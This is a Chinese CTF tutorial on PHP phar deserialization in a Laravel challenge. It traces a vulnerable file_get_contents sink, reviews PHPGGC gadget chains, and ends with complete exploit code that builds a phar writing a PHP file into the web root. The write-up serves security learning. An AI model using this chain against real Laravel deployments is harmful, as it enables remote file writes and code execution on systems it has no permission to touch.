php pop链,PHP反序列化入门之寻找POP链(一) | 码农网

5c4acd61c450ed9248953f9d7430e190.png

环境搭建

运行环境要求

PHP >= 7.1.3

OpenSSL PHP Extension

PDO PHP Extension

Mbstring PHP Extension

安装题目环境

22346b47e358736d216fe3939e4a8a97.png

运行题目代码

4a607e1a44576227d6cebe5b29d8fb05.png

漏洞点

在 routes/web.php 文件中,定义了 web 程序的路由,当我们以 GET 或 POST 方法访问 app/Http/Controllers/EditorController.php 类中的 main 方法。

24a8734d00f461d8e9227bd3a0a850f0.png

我们进而看 app/Http/Controllers/EditorController.php 文件,很快便会发现有一个 download 方法中的 $url 变量没有经过任何处理用在了 file_get_contents 函数中, download 方法代码如下:

ffaab466d84b360be5b917bd18c6245e.png

这时我们便考虑 $url 变量是否可控,如果可控,便可以利用 phar反序列化 。我们回溯寻找 $url 变量来源,会发现在 doCatchimage 方法中,该变量值是从 $sources 变量来。而 $sources 变量由用户传来的 source 参数决定(通过 $url 变量),相关代码如下:

e6288e165a7ee747a9847bf73252958d.png

那么接下来,我们就要寻找可利用的类方法,然后通过 phar反序列化 触发漏洞。

了解PHPGGC

在寻找 pop链 之前,我们不妨先看看 phpggc 中已有的 4种 关于 Laravel 框架 RCE 的 payload 生成方法,以便我们更快速的找出本题的 pop链 ,其 4种 Laravel 框架 RCE 的 payload 生成方法分别如下:

第1种

afbbf319c18e61f54d6b05d836f4a2c0.png

其反序列化时,类方法调用过程如下:

dd7fdd2fb61c45040b370773d8c52bba.png

第2种

b1492f11515e7032e8eee38f66cc696d.png

其反序列化时,类方法调用过程如下:

cc4a9c43f971a4d18167116e6ef0c672.png

第3种

8014c17ae947c1c9ba9f2d2125903526.png

其反序列化时,类方法调用过程如下:

22f2ae385b1de5c0b4901d67ad0a0043.png

第4种

d26a4db79a4fd0db858fa5c223577b5c.png

其反序列化时,类方法调用过程如下:

ec7c0c8cd0c8c878e305885269fef5ed.png

这里我选取 第1种 的 phar反序列化 执行结果图(题目环境为 PHP7.1.16 ):

7b55bfd3e5011b002227dee9ddb94e13.png

然而本题目的环境还有一些额外的限制,例如 PHP 版本为 7.2.14 ,且禁用了如下函数和类(这些信息通过 phpggc 的第一个 Laravel 框架 RCE 生成 phpinfo 函数的利用 phar 即可看到):

disable_functions:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:

GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

由于在 PHP7.x 版本中,很多函数禁止动态调用了,加上上面的这些限制,所以我们还需要寻找其他利用点,结合上述 POP 链,完成写 shell 。

开始寻找pop链

我们可以发现上面的4种 RCE 入口点都是从 PendingBroadcast 类的 __destruct 方法开始的,那么我们着重搜索 dispatch 方法和 __call 方法。经过一番搜索,发现 ValidGenerator 类中的 __call 比较好利用。

a90d182179ae93d552e2f3324c3bbbb1.png

我们可以看到其代码中先调用了 call_user_func_array 函数,然后将 call_user_func_array 函数的执行结果又传入 call_user_func 函数,只要我们能控制住 call_user_func_array 函数的执行结果,相当于 call_user_func 函数的两个参数都可控,这样我们便可以调用任意类方法。

我们接着搜索可以用于控制 call_user_func_array 函数执行结果的类,这里我找到了 DefaultGenerator 类的 __call 方法,我们可以看到返回值 $this->default 完全可控。

0d6cda842d935b865e9a2075695adf30.png

现在 call_user_func($this->validator, $res) 中的两个参数都可控了。那么如果我们想写shell,就要调用 file_put_contents 函数,而这个函数需要两个参数,所以直接通过 call_user_func 函数是无法使用该函数的,我们需要通过 call_user_func_array 函数来使用 file_put_contents 函数,用法形如: call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’)) 。

通过直接搜索 call_user_func_array 函数,我们会发现两个比较好利用的类函数。但是这里的第一个 ClosureWrapper 类我们无法利用,所以得利用 ReturnCallback 类的 invoke 方法,具体代码如下:

63a0e7362dd4df143a313647d8d22287.png

很明显 invoke 方法两个参数都可控,现在我们只要构造好一个 Invocation 类对象即可。通过搜索,我们会发现 Invocation 是一个接口,那么我们找到他的实现类即可。这里我找到了 StaticInvocation 类来实现上诉功能,其代码具体如下:

fe47244465c979044c19aa39272baa6b.png

这样子,我们的整个 POP链 就构造好了。下面是 exp :

namespace IlluminateBroadcasting{

class PendingBroadcast{

protected $events;

protected $event;

function __construct($events, $event){

$this->events = $events;

$this->event = $event;

}

}

};

namespace Faker{

class DefaultGenerator{

protected $default;

public function __construct($default = null){

$this->default = $default;

}

}

class ValidGenerator{

protected $generator;

protected $validator;

protected $maxRetries;

// __call方法中有call_user_func_array、call_user_func

public function __construct($generator, $validator = null, $maxRetries = 10000)

{

$this->generator = $generator;

$this->validator = $validator;

$this->maxRetries = $maxRetries;

}

}

};

namespace PHPUnitFrameworkMockObjectStub{

class ReturnCallback

{

private $callback;

public function __construct($callback)

{

$this->callback = $callback;

}

}

};

namespace PHPUnitFrameworkMockObjectInvocation{

class StaticInvocation{

private $parameters;

public function __construct($parameters){

$this->parameters = $parameters;

}

}

};

namespace{

$function = 'file_put_contents';

$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');

$staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);

$returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);

$defaultgenerator = new FakerDefaultGenerator($staticinvocation);

$validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);

$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);

$o = $pendingbroadcast;

$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行

file_exists($filename) ? unlink($filename) : null;

$phar=new Phar($filename);

$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");

$phar->setMetadata($o);

$phar->addFromString("foo.txt","bar");

$phar->stopBuffering();

};

?>

最后

我们再通过下面这张图片,来理清整个 POP链 的调用过程。

3ee22796df134f2b280975c9e41aa722.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值